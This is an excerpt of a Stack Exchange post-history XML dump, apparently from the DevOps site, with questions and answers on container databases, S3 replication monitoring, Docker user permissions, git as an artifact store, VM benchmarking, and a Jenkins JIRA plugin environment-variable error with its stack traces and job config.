  <row Id="16156" PostHistoryTypeId="5" PostId="1303" RevisionGUID="13ebec33-0e57-4654-876f-b77f57686bd2" CreationDate="2018-10-04T05:11:12.817" UserId="10142" Comment="Spelling, loosing --&gt; losing" Text="I [wrote about this in depth][1] but here's the summary:&#xD;&#xA;&#xD;&#xA;- Preventing split brain (electing more than one master node) needs to be solved. Failure to do so can be catastrophic&#xD;&#xA;           &#xD;&#xA;- There are no production ready shared storage solutions to enable databases to be shutdown on one instance and brought up on another without losing all your data.&#xD;&#xA;&#xD;&#xA;        &#xD;&#xA;  [1]: http://patrobinson.github.io/2016/11/07/thou-shalt-not-run-a-database-inside-a-container/" ContentLicense="CC BY-SA 4.0" />
  <row Id="16157" PostHistoryTypeId="24" PostId="1303" RevisionGUID="13ebec33-0e57-4654-876f-b77f57686bd2" CreationDate="2018-10-04T05:11:12.817" Comment="Proposed by 10142 approved by 40, 707 edit id of 801" ContentLicense="CC BY-SA 4.0" />
  <row Id="16159" PostHistoryTypeId="50" PostId="4106" RevisionGUID="02ccf209-f4f5-479b-98a6-cc5165bcbe99" CreationDate="2018-10-04T08:00:42.983" UserId="-1" />
  <row Id="16160" PostHistoryTypeId="2" PostId="5115" RevisionGUID="d21a7569-0689-40ec-b057-b6134cf87599" CreationDate="2018-10-04T13:54:46.733" UserId="743" Text="Amazon S3 has a cross-region replication which will handle copy of new/updated objects to additional region.&#xD;&#xA;&#xD;&#xA;The problem is that solution does not provide visibility on state for replication process, for example at the moment there's no way to easily monitor missing objects on destination or any possible permission issues that can interfere with the process and can result with replication not doing it's job, as well missing feedback for replication lag.&#xD;&#xA;&#xD;&#xA;We found several tools similar to CRR Monitor https://aws.amazon.com/answers/infrastructure-management/crr-monitor/&#xD;&#xA;but we didn't have good experience with it as we manage tens of millions of objects which can cost several thousand of dollars per month for CloudWatch events, as well as additional management required for services required by solution (DinamoDB, Kinesis etc.) another layer of &quot;monitoring the monitor&quot; required.&#xD;&#xA;&#xD;&#xA;For now we are using daily comparison of S3 objects inventory between source and destination using AWS Athena query, which also feels like a hack and it's not optimal for problem detection as inventory generated with daily frequency.&#xD;&#xA;&#xD;&#xA;I hope to see some feedback, suggestions, ideas or experience for alternatives. Ideal solution would be managed or &quot;serverless&quot; solution which will improve visibility on the process and will provide fast detection of errors." ContentLicense="CC BY-SA 4.0" />
  <row Id="16161" PostHistoryTypeId="1" PostId="5115" RevisionGUID="d21a7569-0689-40ec-b057-b6134cf87599" CreationDate="2018-10-04T13:54:46.733" UserId="743" Text="How to monitor AWS S3 cross-region replication process?" ContentLicense="CC BY-SA 4.0" />
  <row Id="16162" PostHistoryTypeId="3" PostId="5115" RevisionGUID="d21a7569-0689-40ec-b057-b6134cf87599" CreationDate="2018-10-04T13:54:46.733" UserId="743" Text="&lt;amazon-web-services&gt;&lt;monitoring&gt;&lt;amazon-s3&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16163" PostHistoryTypeId="50" PostId="4453" RevisionGUID="ad156d1c-128d-4705-8796-f4a3a4761785" CreationDate="2018-10-04T14:00:46.223" UserId="-1" />
  <row Id="16164" PostHistoryTypeId="2" PostId="5116" RevisionGUID="b3317bfc-1507-4ac2-b1c8-214daf15df6e" CreationDate="2018-10-04T14:04:35.853" UserId="7044" Text="I'm a little confused about the exact use case. Are you asking about writing to volumes that are mounted inside the container? &#xD;&#xA;&#xD;&#xA;You can change what the process in the docker container runs as by using --user on your run commands.&#xD;&#xA;&#xD;&#xA;    docker run --user 1000 --ti centos/7 /bin/bash&#xD;&#xA;&#xD;&#xA;This answer may help you: &#xD;&#xA;https://stackoverflow.com/questions/41100333/difference-between-docker-run-user-and-group-add-parameters&#xD;&#xA;&#xD;&#xA;The manual explains this as well: https://docs.docker.com/engine/reference/run/#user" ContentLicense="CC BY-SA 4.0" />
  <row Id="16165" PostHistoryTypeId="50" PostId="4695" RevisionGUID="2df49d97-6447-44f0-94f6-3d41c207f6b9" CreationDate="2018-10-04T15:00:21.897" UserId="-1" />
  <row Id="16166" PostHistoryTypeId="2" PostId="5117" RevisionGUID="f80723f5-7df1-4ff1-96a4-4a34f397e5de" CreationDate="2018-10-04T15:09:13.653" UserId="8125" Text="You could use bitbucket pipelines to deploy to the download section and keep your artifacts there. [Here is an example from their documentation][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bitbucket/deploy-build-artifacts-to-bitbucket-downloads-872124574.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="16168" PostHistoryTypeId="2" PostId="5119" RevisionGUID="3a5f46ad-94c7-4fe9-97ff-bf8243b6236b" CreationDate="2018-10-04T17:46:24.520" UserId="497" Text="Take a look at [Outthentic](https://dev.to/melezhik/super-flexible-infrastructure-audit-with-outthentic-2a3) it is extremely flexible and easy adapted to most any tasks." ContentLicense="CC BY-SA 4.0" />
  <row Id="16169" PostHistoryTypeId="5" PostId="5119" RevisionGUID="0a2a90bd-f074-4e22-8656-7dc62c48e430" CreationDate="2018-10-04T19:03:31.097" UserId="497" Comment="Ok. I have explained better, how the questioner could use Outthentic to solve the task mentioned" Text="You can track configuration/infrastructure discrepancies/drift using [Outthentic](https://dev.to/melezhik/super-flexible-infrastructure-audit-with-outthentic-2a3), it's easy to create a test suite to &quot;fix&quot; desired state and re-run it every time you need to track undesired changes. " ContentLicense="CC BY-SA 4.0" />
  <row Id="16171" PostHistoryTypeId="50" PostId="3575" RevisionGUID="aad226d5-ea10-4c38-b2de-ecf3b0a1e9a6" CreationDate="2018-10-04T23:00:18.273" UserId="-1" />
  <row Id="16174" PostHistoryTypeId="34" PostId="5022" RevisionGUID="9875c612-3afe-48f3-a3f0-81f0acd3355e" CreationDate="2018-10-05T04:00:25.017" UserId="-1" Comment="27" />
  <row Id="16175" PostHistoryTypeId="2" PostId="5120" RevisionGUID="f325e023-8665-4092-af01-52042f972475" CreationDate="2018-10-05T06:24:49.760" UserId="2855" Text="You can use a Git repository (whether it is hosted on Bitbucket or not) as an artifact repository, but you should be aware that:&#xD;&#xA;&#xD;&#xA;* Git was originally made as a version control system *for source code*, not for (large) binary data, and this is still its main concern. There are extensions that allow working with large files in Git efficiently, e.g. [Git LFS](https://git-lfs.github.com), but still: It is not built into the core of Git.&#xD;&#xA;* A proper artifact repository has features that a Git based service cannot easily provide. For example you probably want to delete older snapshot artifacts, an operation Git is not designed for, but what is a core feature of artifact repositories. Some more of such features are described in the answers to the question *[What is an artifact repository?](https://devops.stackexchange.com/q/452/2855)*.&#xD;&#xA;&#xD;&#xA;So while you *can* use Git/Bitbucket as an artifact repository, it's a bit like driving a screw with a hammer instead of a screwdriver.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16176" PostHistoryTypeId="2" PostId="5121" RevisionGUID="cd1100cb-4c67-4e30-8c03-486567ed393d" CreationDate="2018-10-05T08:51:57.200" UserId="4175" Text="Reasons not to store large binaries in a `git` repository:&#xD;&#xA;&#xD;&#xA;- Everbody cloning your repository will download all those binaries, by default. Binaries, if built regularly, tend to consume *massive* amounts of storage, compared to source code - `git` cannot compress them, or calculate deltas, to reduce their size.&#xD;&#xA;- `git` goes to great lengths to make sure history is not lost, it will never delete anything that is part of the history of any `ref` (branches or tags). That also means that if you later decide to delete old, long-useless binaries due to running out of space, you will find that, while not impossible, very hard indeed.&#xD;&#xA;- One point of proper artifact stores is that they help phasing out outdated or compromised parts. `git` cannot really do that for you - you'd have to write your own tooling for that - and you will never get rid of the old versions in history.&#xD;&#xA;- The concept of a &quot;commit&quot; does not really apply to binaries. You need operations like &quot;upload&quot; and &quot;download&quot;, as they are regularly involved in the build processes of your software (i.e., `bundler` in the ruby world, or `maven` in Java). Those builders know how to fetch their 3rd party libraries from artifact repositories easily, and how to upload new versions. They may be convinced to work with a  `git` repository for downloads, but since `git` has no versioning information, you again need to have your own tooling, specify the commit in which to find that binary manually, or have *all* binaries ever in use checked out locally. And uploading to a `git` repository, again, would use your own tooling (creating spurious commits as well).&#xD;&#xA;&#xD;&#xA;In total, using `git` for that is just the wrong tool. If your colleagues are afraid of adding yet another complex tool like Nexus, then at least convince them to use a *simple* tool instead of `git` - like some arbitrary `(s)ftp`/`scp` repository in a VM somewhere, with `https` access via a simple webserver.&#xD;&#xA;&#xD;&#xA;If you *must* use `git`, then at least make sure the build binaries are not committed together with the source code, but in their own part of history. Check out this older answer to see [how to create an orphan branch][1]. Those can at least be deleted later, and the binaries themselves removed by garbage collection; and not every client is forced to download all of it all the time. &#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/a/4288660" ContentLicense="CC BY-SA 4.0" />
  <row Id="16177" PostHistoryTypeId="2" PostId="5122" RevisionGUID="9c6e70dd-21c9-41ea-9afb-1def396968b5" CreationDate="2018-10-05T12:49:49.493" UserId="7730" Text="For the easy solution, use named volumes when possible. They will initialize to the contents of the image, include file owners and permissions.&#xD;&#xA;&#xD;&#xA;When you need host volumes, my preferred solution for developer machines is to run the entrypoint as root and drop permissions to the application user after adjusting uid/gid values of the users inside the container to match the the id's on volumes that have been mounted. For example, here's a repo where I've done this for a Jenkins container that needs to run as the jenkins user but with gid access to the mounted docker socket: https://github.com/sudo-bmitch/jenkins-docker&#xD;&#xA;&#xD;&#xA;The key steps to the solution:&#xD;&#xA;&#xD;&#xA;- Start the container as root on developer machines (in production you can put some logic in the entrypoint to know that it's not root and make the file permissions on the server match those of the container).&#xD;&#xA;- Configure the entrypoint to lookup the uid/gid of a selected host volume.&#xD;&#xA;- Compare the volume uid/gid to the container user's uid/gid. If they do not match, update the user's uid/gid inside the container and adjust file permissions on files outside of the volume. Be careful to handle the scenario where the uid/gid already exists inside the container.&#xD;&#xA;- Use gosu to switch from root to your container user and run the desired application." ContentLicense="CC BY-SA 4.0" />
  <row Id="16178" PostHistoryTypeId="2" PostId="5123" RevisionGUID="bac41915-b8da-4717-8f6b-13cfc2eb89dc" CreationDate="2018-10-05T13:07:59.887" UserId="707" Text="Which performance index is most suitable to find out real performance of your VM limited by sharing and quotas?&#xD;&#xA;&#xD;&#xA;For example, if you have a physical server with 4 cores and 16 GB RAM, its performance limit might be higher than if you have same on AWS or in some VMWare product.&#xD;&#xA;&#xD;&#xA;How to compare to find out the gap? Is there an overall index or better to use some reference applications' performance as benchmark? (tough, though, if you still going to develop that application)" ContentLicense="CC BY-SA 4.0" />
  <row Id="16179" PostHistoryTypeId="1" PostId="5123" RevisionGUID="bac41915-b8da-4717-8f6b-13cfc2eb89dc" CreationDate="2018-10-05T13:07:59.887" UserId="707" Text="Identifying a benchmark to compare overall performance of VM virtualization vs hardware" ContentLicense="CC BY-SA 4.0" />
  <row Id="16180" PostHistoryTypeId="3" PostId="5123" RevisionGUID="bac41915-b8da-4717-8f6b-13cfc2eb89dc" CreationDate="2018-10-05T13:07:59.887" UserId="707" Text="&lt;cloud&gt;&lt;metrics&gt;&lt;performance&gt;&lt;distributed-systems&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="16181" PostHistoryTypeId="5" PostId="4835" RevisionGUID="8a80183b-6327-4452-9532-a014f35cf2f0" CreationDate="2018-10-05T14:10:44.780" UserId="9351" Comment="added new config from jenkins job" Text="I installed `JIRA Plugin` for the jenkins. It add some action in `Post-build Action` menu. One of the action is **JIRA: Update relevant issues**. &#xD;&#xA;&#xD;&#xA;When I try to access Environment Variable, it gives error.&#xD;&#xA;&#xD;&#xA;    WARNING: jira rest client get issue from jql search error. cause: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    java.util.concurrent.ExecutionException: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.getValue(AbstractFuture.java:289)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.get(AbstractFuture.java:262)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.get(AbstractFuture.java:91)&#xD;&#xA;    	at com.google.common.util.concurrent.ForwardingFuture.get(ForwardingFuture.java:69)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.DelegatingPromise.get(DelegatingPromise.java:107)&#xD;&#xA;    	at hudson.plugins.jira.JiraRestService.getIssuesFromJqlSearch(JiraRestService.java:177)&#xD;&#xA;    	at hudson.plugins.jira.JiraSession.getIssuesFromJqlSearch(JiraSession.java:136)&#xD;&#xA;    	at hudson.plugins.jira.selector.JqlIssueSelector.findIssueIds(JqlIssueSelector.java:49)&#xD;&#xA;    	at hudson.plugins.jira.Updater.perform(Updater.java:85)&#xD;&#xA;    	at hudson.plugins.jira.JiraIssueUpdater.perform(JiraIssueUpdater.java:64)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:81)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:744)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1749)&#xD;&#xA;    	at hudson.model.FreeStyleBuild.run(FreeStyleBuild.java:43)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:421)&#xD;&#xA;    Caused by: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key '$MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:176)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:170)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:67)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:11)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:268)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:158)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:268)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:158)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$1$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:46)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:197)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient.runInContext(SettableFuturePromiseHttpPromiseAsyncClient.java:90)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable.run(SettableFuturePromiseHttpPromiseAsyncClient.java:192)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;&#xD;&#xA;`$MY_ISSUE_ID` is valid environment variable, and I am able to access it on other section of the build.&#xD;&#xA;&#xD;&#xA;I tried `issue=${XXXX}`, `issue=XXXX`, `issue=&quot;$XXXX&quot;` etc... but all gives error.&#xD;&#xA;&#xD;&#xA;After [answer](https://devops.stackexchange.com/a/4855/9351) I tried `env. MY_ISSUE_ID` but it give same error.&#xD;&#xA;&#xD;&#xA;    WARNING: jira rest client get issue from jql search error. cause: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key 'env. MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    java.util.concurrent.ExecutionException: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key 'env. MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.getValue(AbstractFuture.java:289)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture$Sync.get(AbstractFuture.java:262)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.get(AbstractFuture.java:91)&#xD;&#xA;    	at com.google.common.util.concurrent.ForwardingFuture.get(ForwardingFuture.java:69)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.DelegatingPromise.get(DelegatingPromise.java:113)&#xD;&#xA;    	at hudson.plugins.jira.JiraRestService.getIssuesFromJqlSearch(JiraRestService.java:177)&#xD;&#xA;    	at hudson.plugins.jira.JiraSession.getIssuesFromJqlSearch(JiraSession.java:132)&#xD;&#xA;    	at hudson.plugins.jira.selector.JqlIssueSelector.findIssueIds(JqlIssueSelector.java:46)&#xD;&#xA;    	at hudson.plugins.jira.Updater.perform(Updater.java:89)&#xD;&#xA;    	at hudson.plugins.jira.JiraIssueUpdater.perform(JiraIssueUpdater.java:64)&#xD;&#xA;    	at hudson.tasks.BuildStepCompatibilityLayer.perform(BuildStepCompatibilityLayer.java:81)&#xD;&#xA;    	at hudson.tasks.BuildStepMonitor$3.perform(BuildStepMonitor.java:45)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.perform(AbstractBuild.java:744)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.performAllBuildSteps(AbstractBuild.java:690)&#xD;&#xA;    	at hudson.model.Build$BuildExecution.post2(Build.java:186)&#xD;&#xA;    	at hudson.model.AbstractBuild$AbstractBuildExecution.post(AbstractBuild.java:635)&#xD;&#xA;    	at hudson.model.Run.execute(Run.java:1749)&#xD;&#xA;    	at com.tikal.jenkins.plugins.multijob.MultiJobBuild.run(MultiJobBuild.java:76)&#xD;&#xA;    	at hudson.model.ResourceController.execute(ResourceController.java:97)&#xD;&#xA;    	at hudson.model.Executor.run(Executor.java:421)&#xD;&#xA;    Caused by: RestClientException{statusCode=Optional.of(400), errorCollections=[ErrorCollection{status=400, errors={}, errorMessages=[The issue key 'env.MY_ISSUE_ID' for field 'issue' is invalid.]}]}&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:176)&#xD;&#xA;    	at com.atlassian.jira.rest.client.internal.async.AbstractAsynchronousRestClient$2.apply(AbstractAsynchronousRestClient.java:170)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:67)&#xD;&#xA;    	at com.atlassian.httpclient.api.ResponsePromiseMapFunction.apply(ResponsePromiseMapFunction.java:11)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:295)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:185)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$Of$3.apply(Promises.java:295)&#xD;&#xA;    	at com.atlassian.util.concurrent.Promises$2.onSuccess(Promises.java:185)&#xD;&#xA;    	at com.google.common.util.concurrent.Futures$6.run(Futures.java:975)&#xD;&#xA;    	at com.google.common.util.concurrent.MoreExecutors$SameThreadExecutorService.execute(MoreExecutors.java:253)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList$RunnableExecutorPair.execute(ExecutionList.java:149)&#xD;&#xA;    	at com.google.common.util.concurrent.ExecutionList.execute(ExecutionList.java:134)&#xD;&#xA;    	at com.google.common.util.concurrent.AbstractFuture.set(AbstractFuture.java:170)&#xD;&#xA;    	at com.google.common.util.concurrent.SettableFuture.set(SettableFuture.java:53)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$1$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:46)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable$1.run(SettableFuturePromiseHttpPromiseAsyncClient.java:197)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient.runInContext(SettableFuturePromiseHttpPromiseAsyncClient.java:90)&#xD;&#xA;    	at com.atlassian.httpclient.apache.httpcomponents.SettableFuturePromiseHttpPromiseAsyncClient$ThreadLocalDelegateRunnable.run(SettableFuturePromiseHttpPromiseAsyncClient.java:192)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)&#xD;&#xA;    	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)&#xD;&#xA;    	at java.lang.Thread.run(Thread.java:748)&#xD;&#xA;&#xD;&#xA;What is the way to pass `environment variable` in **jql** for `post build action`.&#xD;&#xA;&#xD;&#xA;When I gave `issue=MYPROJECT-1234`, it works fine. But, I want to set `MYPROJECT-1234` as environment variable.&#xD;&#xA;&#xD;&#xA;Job **config.xml**&#xD;&#xA;&#xD;&#xA;    &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;com.tikal.jenkins.plugins.multijob.MultiJobProject&gt;&#xD;&#xA;      &lt;actions/&gt;&#xD;&#xA;      &lt;description&gt;&amp;lt;!-- Managed by Jenkins Job Builder --&amp;gt;&lt;/description&gt;&#xD;&#xA;      &lt;keepDependencies&gt;false&lt;/keepDependencies&gt;&#xD;&#xA;      &lt;disabled&gt;false&lt;/disabled&gt;&#xD;&#xA;      &lt;blockBuildWhenDownstreamBuilding&gt;false&lt;/blockBuildWhenDownstreamBuilding&gt;&#xD;&#xA;      &lt;blockBuildWhenUpstreamBuilding&gt;false&lt;/blockBuildWhenUpstreamBuilding&gt;&#xD;&#xA;      &lt;concurrentBuild&gt;false&lt;/concurrentBuild&gt;&#xD;&#xA;      &lt;assignedNode&gt;linux&lt;/assignedNode&gt;&#xD;&#xA;      &lt;canRoam&gt;false&lt;/canRoam&gt;&#xD;&#xA;      &lt;properties&gt;&#xD;&#xA;        &lt;com.coravy.hudson.plugins.github.GithubProjectProperty plugin=&quot;github&quot;&gt;&#xD;&#xA;          &lt;projectUrl&gt;https://myuser@mygithub.mydomain.com/myteam/myproject&lt;/projectUrl&gt;&#xD;&#xA;          &lt;displayName/&gt;&#xD;&#xA;        &lt;/com.coravy.hudson.plugins.github.GithubProjectProperty&gt;&#xD;&#xA;      &lt;/properties&gt;&#xD;&#xA;      &lt;scm class=&quot;hudson.plugins.git.GitSCM&quot;&gt;&#xD;&#xA;        &lt;configVersion&gt;2&lt;/configVersion&gt;&#xD;&#xA;        &lt;userRemoteConfigs&gt;&#xD;&#xA;          &lt;hudson.plugins.git.UserRemoteConfig&gt;&#xD;&#xA;            &lt;name&gt;origin&lt;/name&gt;&#xD;&#xA;            &lt;refspec&gt;+refs/pull/*:refs/remotes/origin/pr/*&lt;/refspec&gt;&#xD;&#xA;            &lt;url&gt;https://myuser@mygithub.mydomain.com/myteam/myproject.git&lt;/url&gt;&#xD;&#xA;            &lt;credentialsId&gt;github_username_with_token&lt;/credentialsId&gt;&#xD;&#xA;          &lt;/hudson.plugins.git.UserRemoteConfig&gt;&#xD;&#xA;        &lt;/userRemoteConfigs&gt;&#xD;&#xA;        &lt;branches&gt;&#xD;&#xA;          &lt;hudson.plugins.git.BranchSpec&gt;&#xD;&#xA;            &lt;name&gt;${sha1}&lt;/name&gt;&#xD;&#xA;          &lt;/hudson.plugins.git.BranchSpec&gt;&#xD;&#xA;        &lt;/branches&gt;&#xD;&#xA;        &lt;disableSubmodules&gt;false&lt;/disableSubmodules&gt;&#xD;&#xA;        &lt;recursiveSubmodules&gt;false&lt;/recursiveSubmodules&gt;&#xD;&#xA;        &lt;doGenerateSubmoduleConfigurations&gt;false&lt;/doGenerateSubmoduleConfigurations&gt;&#xD;&#xA;        &lt;remotePoll&gt;false&lt;/remotePoll&gt;&#xD;&#xA;        &lt;gitTool&gt;Default&lt;/gitTool&gt;&#xD;&#xA;        &lt;submoduleCfg class=&quot;list&quot;/&gt;&#xD;&#xA;        &lt;reference/&gt;&#xD;&#xA;        &lt;gitConfigName/&gt;&#xD;&#xA;        &lt;gitConfigEmail/&gt;&#xD;&#xA;        &lt;extensions/&gt;&#xD;&#xA;      &lt;/scm&gt;&#xD;&#xA;      &lt;triggers class=&quot;vector&quot;&gt;&#xD;&#xA;        &lt;org.jenkinsci.plugins.ghprb.GhprbTrigger&gt;&#xD;&#xA;          &lt;spec&gt;H/5 * * * *&lt;/spec&gt;&#xD;&#xA;          &lt;adminlist/&gt;&#xD;&#xA;          &lt;allowMembersOfWhitelistedOrgsAsAdmin&gt;false&lt;/allowMembersOfWhitelistedOrgsAsAdmin&gt;&#xD;&#xA;          &lt;whitelist/&gt;&#xD;&#xA;          &lt;orgslist/&gt;&#xD;&#xA;          &lt;whiteListLabels/&gt;&#xD;&#xA;          &lt;blackListLabels/&gt;&#xD;&#xA;          &lt;cron&gt;H/5 * * * *&lt;/cron&gt;&#xD;&#xA;          &lt;triggerPhrase&gt;^\s*check\s+everything\s*$&lt;/triggerPhrase&gt;&#xD;&#xA;          &lt;skipBuildPhrase/&gt;&#xD;&#xA;          &lt;onlyTriggerPhrase&gt;false&lt;/onlyTriggerPhrase&gt;&#xD;&#xA;          &lt;useGitHubHooks&gt;true&lt;/useGitHubHooks&gt;&#xD;&#xA;          &lt;permitAll&gt;true&lt;/permitAll&gt;&#xD;&#xA;          &lt;autoCloseFailedPullRequests&gt;false&lt;/autoCloseFailedPullRequests&gt;&#xD;&#xA;          &lt;whiteListTargetBranches&gt;&#xD;&#xA;            &lt;org.jenkinsci.plugins.ghprb.GhprbBranch&gt;&#xD;&#xA;              &lt;branch&gt;staging&lt;/branch&gt;&#xD;&#xA;            &lt;/org.jenkinsci.plugins.ghprb.GhprbBranch&gt;&#xD;&#xA;          &lt;/whiteListTargetBranches&gt;&#xD;&#xA;          &lt;extensions&gt;&#xD;&#xA;            &lt;org.jenkinsci.plugins.ghprb.extensions.status.GhprbSimpleStatus&gt;&#xD;&#xA;              &lt;commitStatusContext&gt;pull request validation&lt;/commitStatusContext&gt;&#xD;&#xA;              &lt;triggeredStatus&gt;starting pull request validation...&lt;/triggeredStatus&gt;&#xD;&#xA;              &lt;startedStatus&gt;running pull request validation...&lt;/startedStatus&gt;&#xD;&#xA;              &lt;completedStatus&gt;&#xD;&#xA;                &lt;org.jenkinsci.plugins.ghprb.extensions.comments.GhprbBuildResultMessage&gt;&#xD;&#xA;                  &lt;message&gt;All is well.&lt;/message&gt;&#xD;&#xA;                  &lt;result&gt;SUCCESS&lt;/result&gt;&#xD;&#xA;                &lt;/org.jenkinsci.plugins.ghprb.extensions.comments.GhprbBuildResultMessage&gt;&#xD;&#xA;                &lt;org.jenkinsci.plugins.ghprb.extensions.comments.GhprbBuildResultMessage&gt;&#xD;&#xA;                  &lt;message&gt;Something went wrong. Investigate!&lt;/message&gt;&#xD;&#xA;                  &lt;result&gt;FAILURE&lt;/result&gt;&#xD;&#xA;                